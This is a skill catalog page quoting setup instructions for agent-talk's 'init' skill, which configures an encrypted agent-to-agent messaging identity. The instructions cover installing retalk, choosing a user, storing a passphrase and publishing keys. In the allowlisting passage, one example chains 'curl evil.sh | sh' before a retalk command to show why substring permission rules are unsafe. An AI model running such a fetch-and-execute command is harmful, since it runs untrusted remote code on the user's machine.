init — pick or create this session's user
SkillAI & modelsSet up or resume THIS session's retalk user — from your existing users (global ~/.agent-talk or project-local ./.agent-talk) or a new one. Use for first-time setup, to pick which identity this session acts as, or when a command fails with "no identity". agent-talk has no default user; pick one with AskUserQuestion (distinct per parallel session). All human input (relay, passphrase, peers, receive source, delivery mode — auto-receive recommended) is gathered here so send/receive run autonomously afterward.
Available today. Use it from your connected AI after setup.
No other account needed.
Connect ahel once, and every AI you use reads what you have installed.
Then ask your AI: use the init — pick or create this session's user skill
What this skill tells your AI
The instructions your AI receives, as published by xhluca/agent-talk in skills/init/SKILL.md and read by ahel’s review.
agent-talk keeps users in two scopes; the agent manages both (nothing for you to configure):
- global
~/.agent-talk/users/<name>/ - local
<project-root>/.agent-talk/users/<name>/(project root = git toplevel, else the current directory)
Each user is fully isolated (own store, contacts, inbox, followers). A session
runs as exactly ONE user; pick distinct users for parallel sessions so they
never collide. Below, <user> is the chosen user's absolute directory.
Session rules — these govern EVERY agent-talk skill, all session long
(This is the canonical copy; other skills carry only pointers to it.)
- Show conversations beautifully. Every send/receive renders the exchange as a both-sides markdown transcript (📥 peer / 📤 you, timestamps, quoted bodies — format in the send/receive skills). Real text, never summaries or counts.
- Honor the delivery mode; act, never re-ask.
<user>/check-moderecords the user's choice:auto→ keep a follower + persistent Monitor running for the receive-from source, silently (start them after an add/send if missing);manual→ on-demand only. If the file is missing, ask once (Auto-receive first, "(Recommended)"), record, act. Never end a skill with "want me to start a listener?". - Always show invite/reply messages, verbatim — as freeform prose addressed
to the peer's AGENT. The recipient pastes them into their own Claude
session, so a natural-language paragraph (with relay, fingerprint, suggested
name, and the invite code in prose) is the interface — never a bash block or
a numbered human menu. Compose from the template in this skill (values from
retalk id --card), introduced as "Copy and send the following message to your peer (the person you want to communicate with)." Never summarize them away; raw retalk-CLI blocks are only for peers without Claude Code. - End every skill by recommending the 2–3 next skills that fit where the
user actually is (each skill's
## Nextfooter). - Speak the user's language — never leak retalk internals. Jargon from these skills and retalk's own output (ratchet, Olm, session, pre-key, one-time key, MAC, spool, follower, ack/nack, outbox, audience) is for YOU, not the user. Translate: follower/Monitor → "background listener"; spool/inbox.ndjson → "message log"; outbox/ack → "queued / delivery confirmed"; ratchet/MAC/session errors → "an encryption hiccup I'm resolving". The fingerprint stays user-facing (it's their address and verification pin). Go technical only if the user asks, or when they must act on it — then define the term in one clause.
- Save the conversation by default. agent-talk keeps a local copy of every message it sends and receives, so the whole conversation is replayable with the history skill. Nothing for the user to turn on; it just works.
- Adapt to your host agent. These skills are written for Claude Code but the
same plugin also runs under other coding agents (e.g. codex,
Antigravity
agy, pi, opencode, GitHub Copilot CLIcopilot). Translate the Claude-Code-specific bits as you go: AskUserQuestion → if your agent has no such tool, just ask the user in plain text;/plugin …→ your agent's own install flow (codex:codex plugin add; Antigravity:agy plugin install <repo>; pi:pi install; opencode: it discoversSKILL.mdfiles under~/.config/opencode/skills/or a project's.opencode/skills/, so install by placing this plugin'sskills/there — see the opencode Quickstart in the README; Copilot CLI: it discoversSKILL.mdfiles under~/.copilot/skills/(personal) or a project's.github/skills/,.claude/skills/, or.agents/skills/, so install by placing this plugin'sskills/there — see the Copilot Quickstart in the README); the inbox monitor and theCLAUDE_SESSION_IDsession-map (step 4) are Claude-Code-only, so on other agents skip them; proactive auto-receive is not wired up on Antigravity or Copilot CLI, so there run the receive skill on demand. On pi, opencode, and codex it is available: each ships an inbox plugin or hook that surfaces incoming messages into the live session; start it as described in step 4b (pi), 4c (opencode), or 4d (codex) instead of step 4. The retalk commands themselves are identical everywhere. - Unlock an encrypted identity by path, never by reading the secret. Every
retalk command that opens the store takes
--passphrase-path, so the call stays one flat command and the passphrase never leaves the file it is already in:retalk sync --dir <user>/identity --passphrase-path <user>/passphrase. Write both paths out in full, absolute — noVAR=…prefix, no$(cat …), no;. A command that reads a secret file into a process that then talks to the network is the shape of credential exfiltration, and a permission classifier is right to refuse it; a compound command also cannot be allowed by a prefix rule, so the user gets asked again every time. The passphrase file is the one chosen below,<user>/passphraseby default and recorded in<user>/passphrase-path. Add nothing at all for a--no-passphraseidentity. Needs retalk 0.3.0; §1 has the probe and the older-retalk fallback. - An invite code proves authorisation, not identity. A peer who registers with one of this identity's invite codes has shown one thing: they were given the code by whoever issued it. Anyone who obtains the code can register the same way, so say "registered with your invite code" and never call them "verified" without that qualification. Real verification is still pinning their keys against a fingerprint you got out of band (verify skill), and it stays worth doing. Whenever a registration surfaces, tell the user who registered, that the code was the only check, and offer the out-of-band verification as the next step.
1. Update retalk AND agent-talk to the latest
Behavior changes often on both sides, and a stale client can mismatch a peer or the relay — so always pull the latest first, even when everything is already installed.
retalk — install-or-upgrade in one shot from PyPI:
uv tool install --upgrade retalk # installs if missing, upgrades if present
# no uv? fall back to:
pip install -U retalk # or: pip3 install -U retalk
Then confirm it runs: retalk --help.
Do not add a prerelease flag. Everything these skills need is in the stable
release, so --prerelease allow (uv) and --pre (pip) buy nothing and cost
something: they opt the user into every future release candidate, on this
install and on every upgrade after it. Reach for one only if you are
deliberately testing an unreleased retalk, and say so when you do.
Prefer PyPI over source; only fall back to
uv tool install --upgrade "git+https://github.com/xhluca/retalk" if you
specifically need code that is not released at all.
Then check what this retalk can do — once, and remember the answer for the
session. Two things the skills use arrived in retalk 0.3.0: the
--passphrase-path flag (Session rule 8) and the invite-code commands (id
skill). An older retalk does not know either, and a command using them dies at
argument parsing with unrecognized arguments, so probe rather than assume:
retalk sync --help 2>&1 | grep -q -- --passphrase-file && echo "passphrase by path available" || echo "older retalk: use the RETALK_PASSPHRASE fallback"
retalk invite --help >/dev/null 2>&1 && echo "invite codes available" || echo "older retalk: use the manual add path"
If either probe says "older retalk", suspect the install before you accept the
fallback. On a machine that has just run the command above, the likely cause
is that the install did not take: a pinned version, a stale shim earlier on
PATH, or no network. Read the installed version from the installer, not from
retalk: there is no retalk --version, and asking for one exits 2 with an
argparse usage error that says nothing about the version.
uv tool list | grep retalk # e.g. "retalk v0.3.0"
pip show retalk | head -2 # if it was installed with pip
Anything below 0.3.0 means re-run the install and probe again. Only treat the fallbacks below as the answer once a re-install still reports a version under the floor, which is what a genuinely pinned or offline environment looks like.
unrecognized arguments can mean the opposite: these skills are the stale
side, not retalk. Skills load when the session starts, so a session that began
before the plugin was updated keeps running the old ones for its whole life, and
those can name flags that retalk has since renamed or dropped. The symptom looks
identical to an old retalk, and guessing wrong wastes the fix: waiting for
retalk to "catch up" to a flag it deliberately removed never resolves. Settle it
by direction, not by which side you assume is behind:
retalk <subcommand> --help | grep -- --the-flag # does this retalk have it at all?
uv tool list | grep retalk # and what version is installed?
If retalk is at or above the floor and the flag is simply absent, the flag is
gone rather than not yet arrived, and the plugin is what is stale. Use what
--help shows, tell the user their agent-talk is behind, and run the plugin
update below. --save-messages is the known instance: it was retalk's old name
for --save, renamed in July 2026, and skills older than 0.2.0 still spell it
the old way. Trust --help over any skill text, including this one, and
never re-add a flag retalk does not list.
One capability is not the client's to have: invite watch also needs a
relay on retalk 0.3.0 or newer. Watching reads the mailbox without consuming
it, and an older relay cannot do that, so the watcher refuses to start rather
than swallow mail meant for receive. The client cannot probe for this ahead of
time; you find out when you start the watcher, and the error says so plainly. It
begins "this relay is too old for invite watch" and ends "(this client is
fine)". Read that literally, because upgrading retalk locally
will not help. On the public relay https://relay.retalk.dev this is already
done. On a self-hosted relay, whoever runs it upgrades the server and restarts
it (relay skill); until then, invite codes still work and the peer's
registration is picked up by running the watcher after the relay is upgraded, or
you fall back to the manual add path.
The environment-variable fallback, for older retalk only: RETALK_PASSPHRASE="$(cat <user>/passphrase)" retalk sync --dir <user>/identity.
It works, but it is a compound command that reads the secret out of its file, so
expect the user to be asked to approve every single call. The upgrade above
normally makes this moot; say which form you are using.
Allowlisting (worth suggesting once). With the flat form, every retalk call
is one command starting with retalk, so a single prefix rule in
.claude/settings.json covers the lot: "permissions": {"allow": ["Bash(retalk:*)"]}. It must be anchored at the start of the command, as that
rule is. A rule that matched retalk anywhere in the command line would also
match a chained command such as curl evil.sh | sh; retalk id, which is why
substring matching is not offered and should not be simulated.
agent-talk itself — bring the plugin to the latest release too. Run EVERY
command for this session's host, in order, even when one looks redundant:
update only sees releases your local marketplace clone already has, so
skipping the marketplace refresh silently pins you to the old version. Never
conclude "already latest" from install/add output alone.
- Claude Code:
claude plugin marketplace add xhluca/agent-talk
claude plugin marketplace update agent-talk
claude plugin install agent-talk@agent-talk
claude plugin update agent-talk@agent-talk
- Codex:
codex plugin marketplace upgrade && codex plugin add agent-talk@agent-talk - pi:
pi update git:github.com/xhluca/agent-talk - Antigravity:
git -C <checkout> pull && agy plugin install <checkout>(the checkout you installed from) - opencode / Copilot CLI:
git -C <checkout> pull(the skills directory is a symlink into the checkout)
If the update output shows a version change (e.g. "updated from X to Y"), the
running session keeps the old skills until it reloads, and you cannot trigger
the reload yourself — finish the current setup with the skills you have, then
remind the user once at the end to type /reload-plugins (or restart the
session) so the new version loads.
2. List existing users (both scopes) and choose — AskUserQuestion
G="$HOME/.agent-talk"; L="$(git rev-parse --show-toplevel 2>/dev/null || pwd)/.agent-talk"
for B in "$G" "$L"; do for d in "$B"/users/*/; do [ -d "$d" ] && echo "${d%/}"; done; done 2>/dev/null
Show each existing user dir (label global vs local), plus "Create a new user", via AskUserQuestion.
Reuse an existing user
Set <user> to its absolute dir. Skip creation — its relay/peers/receive-from
are already saved. Find its passphrase file too, so later commands can name it:
cat "<user>/passphrase-path" 2>/dev/null || ls "<user>/passphrase" (nothing
either way means the identity was created with --no-passphrase, so no flag is
needed; a file that exists but is not recorded is still the default location).
Run the guard (step 3) and the session map (step 4). If
<user>/check-mode is missing (older user), ask the delivery-mode question
— see (7) below, Auto-receive recommended — and record it; if it says auto,
make sure the follower + Monitor are actually running (receive skill).
Create a new user
Ask ALL of these — never silently default the name or scope. There are five pre-creation questions and AskUserQuestion allows at most 4 per screen, so ask them in two screens (do not drop any to fit):
- Screen 1: joining-or-fresh · name · scope
- Screen 2: relay · passphrase
(If you took the Yes/joining branch, the relay is fixed by the invite — drop it from screen 2, which then also has room to fold in the passphrase's storage sub-question.) The name and scope questions are mandatory every time; a run that only asks joining/relay/passphrase has skipped them and is wrong. Then steps (5) add-peer and (6) receive-from are asked after the identity is created.
First, branch on whether you're joining someone. Ask (AskUserQuestion): do you already have a peer's invite or 32-hex fingerprint?
- Yes — you were invited / have their id → you are JOINING: use the relay from their invite (that exact URL; skip the relay menu below), and enter their fingerprint at the peer step (5) so this single pass reaches sending. If the invite also carried an invite code, keep it: once this identity exists and its keys are published, register yourself with the inviter using that code (id skill, Invite codes). That is what replaces sending your fingerprint back and waiting for them to add you.
- No — starting fresh / you'll invite others → choose the relay freely below and add peers later, as they reply to your invite.
Then gather the identity details:
- Ask the name — always ask; never assume a name like
alice/bob. Suggest a self-describing default that stays unique across parallel sessions, agents, and projects:<system-user>-<agent>-<project>(e.g.sam-claude-agent-talk), built from:
U=$(whoami) # system user, e.g. sam
A=claude # this coding agent (use codex/… if not Claude Code)
P=$(basename "$(git rev-parse --show-toplevel 2>/dev/null || pwd)") # project, e.g. agent-talk
SUGGEST="$U-$A-$P" # -> sam-claude-agent-talk
Offer $SUGGEST as the default but let the user override. Then ask the
scope (default local if ./.agent-talk already exists, else
global); <user> = <scope>/users/<name>.
- On-disk name clash (that dir exists — e.g. a parallel session in the same
project already took the name): reuse it, or bump a numeric suffix
(
<name>-2,<name>-3, …) so each live session is a distinct user. - Ask the relay URL — everyone who talks to each other must share ONE relay
(it must exactly equal that server's audience, scheme included, no trailing
slash). Pick the case that fits, most common first:
- Joining people who already use agent-talk: paste the relay URL they gave you (it's in their invite). You do NOT stand up your own.
- No relay in mind? Default to the shared public relay
https://relay.retalk.dev(recommended) — the quickest way to get talking; anyone else on it can reach you. - A different shared/team relay exists: paste that URL.
- You want your own: create one with the
relayskill, then use its URL. This answer is permanent for this identity.initwrites it into the store once and no command changes it later, so it outranksretalk config --relayfor the rest of the identity's life. Never create an identity againsthttp://127.0.0.1:<port>orlocalhostunless it is a throwaway you will recreate: no peer off this machine can reach it, and itsid --cardwill hand out that localhost URL. If the user has no relay in mind, take the public default above; it needs no server and works everywhere. (retalk also ships that URL as a built-in default, so an unset relay still reacheshttps://relay.retalk.dev; the config skill —retalk config --relay <url>— sets a machine-wide default for all identities.)
- Choose the passphrase — how the identity's private keys are encrypted at
rest. A lost passphrase is unrecoverable and is never sent to the relay, so
wherever it is stored is the identity's security boundary. Offer three options
via AskUserQuestion, recommending the first:
- Claude-managed (recommended) — generate a strong random secret and store
it for the user, so they never type or remember it yet keys stay encrypted at
rest. Ask where to store it (AskUserQuestion), recommending the first:
- Beside the identity (recommended) —
<user>/passphrase; it travels with the identity at its own scope, so it always resolves wherever that identity is used — no global/local mismatch. - Project-local —
<project>/.claude/agent-talk/passphrases/<name>; scoped to this project only. - Global —
~/.claude/agent-talk/passphrases/<name>; one store for all identities, reachable from any project. Then generate it0600, and if it lands inside a git repo keep it out of git:
- Beside the identity (recommended) —
- Claude-managed (recommended) — generate a strong random secret and store
it for the user, so they never type or remember it yet keys stay encrypted at
rest. Ask where to store it (AskUserQuestion), recommending the first:
PP_FILE=<the path chosen above, e.g. "<user>/passphrase">
mkdir -p "$(dirname "$PP_FILE")"
( umask 077; python3 -c "import secrets;print(secrets.token_urlsafe(32))" > "$PP_FILE" ) # generate once; never echo it
root="$(git rev-parse --show-toplevel 2>/dev/null)" # if inside a repo, gitignore the secret
case "${root:+$PP_FILE}" in "$root"/*) p="${PP_FILE#"$root"/}"; grep -qxF "$p" "$root/.gitignore" 2>/dev/null || echo "$p" >> "$root/.gitignore";; esac
echo "$PP_FILE" > "<user>/passphrase-path" # record the PATH (not the secret) so later sessions can name it
Later commands unlock it **by path**, never by reading it — one flat
command, as in Session rule 8:
`retalk id --json --dir "<user>/identity" --passphrase-path "<PP_FILE>"`,
with the recorded path written out literally.
Back up that file to preserve the identity — losing it loses the keys.
- **Custom passphrase** — the user supplies their own secret. Store it in a
`0600` file the same way and name that file with `--passphrase-path`, so
the secret stays out of every command line.
- **No passphrase** — keys guarded by file permissions only, no encryption at
rest; create with `--no-passphrase`. Lowest friction, least protection.
Note: since agent-talk saves the conversation by default, on a
`--no-passphrase` identity the saved message bodies get the same weak
at-rest protection (file permissions only); a passphrase-encrypted identity
(the recommended default) seals them, so this is only a concern here.
- Create the identity (encrypted with the chosen passphrase, or
--no-passphrase):
# Claude-managed / custom passphrase (name the file; retalk reads it):
retalk init --dir "<user>/identity" --relay <RELAY_URL> --display-name <name> --passphrase-path "<PP_FILE>"
# OR, no passphrase:
retalk init --dir "<user>/identity" --relay <RELAY_URL> --no-passphrase --display-name <name>
- Publish your keys to the relay so peers can reach you right away.
retalk initis offline — until you publish, anyone messaging or verifying you hitsunknown peer or no published keys. Onesyncpublishes them (re-run it any time the relay was reset); keep--passphrase-pathif encrypted:
retalk sync --dir "<user>/identity" --passphrase-path "<PP_FILE>" # drop the flag if no-passphrase
-
Issue an invite code first (single-use by default). The invite below carries a code so the peer's agent can register itself with this identity, instead of the user shuttling a fingerprint back by hand. Mint one single-use code per invite unless the user asks for a code they can hand to several people or reuse over time; only then make it permanent. The exact commands are in the id skill under Invite codes; they need retalk 0.3.0 or newer, and on an older retalk you fall back to the codeless invite and reply below. Read Session rule 9 before you describe the code to anyone: it proves the holder was authorised, not who they are.
-
Show the user the invite + reply messages — MANDATORY, never summarize them away. A peer has no way to reach this identity until the user hands them one of these. The recipient is almost always another agent: the peer pastes the message into their own Claude session, and their agent reads it and does the setup. So write it as freeform natural language addressed to that agent — a paragraph carrying every parameter in prose — NOT a bash block, NOT a numbered menu for a human to follow. Fill
<relay>,<fingerprint>,<name>fromretalk id --card --dir "<user>/identity", and<code>from the code you just issued. Introduce the first with exactly this framing:"Copy and send the following message to your peer (the person you want to communicate with):"
Shortened here. Read the whole file on GitHub.
Signals
- GitHub stars
- 184
- Forks
- 14
- Last commit
- Sep 2026
ahel review
K1binfo
installs-packages
Automated review, not a security audit. Ruleset v1+k2.
Advanced
- Catalog kind
- skill
- Gateway key
init-xhluca- Source
- github.com/xhluca/agent-talk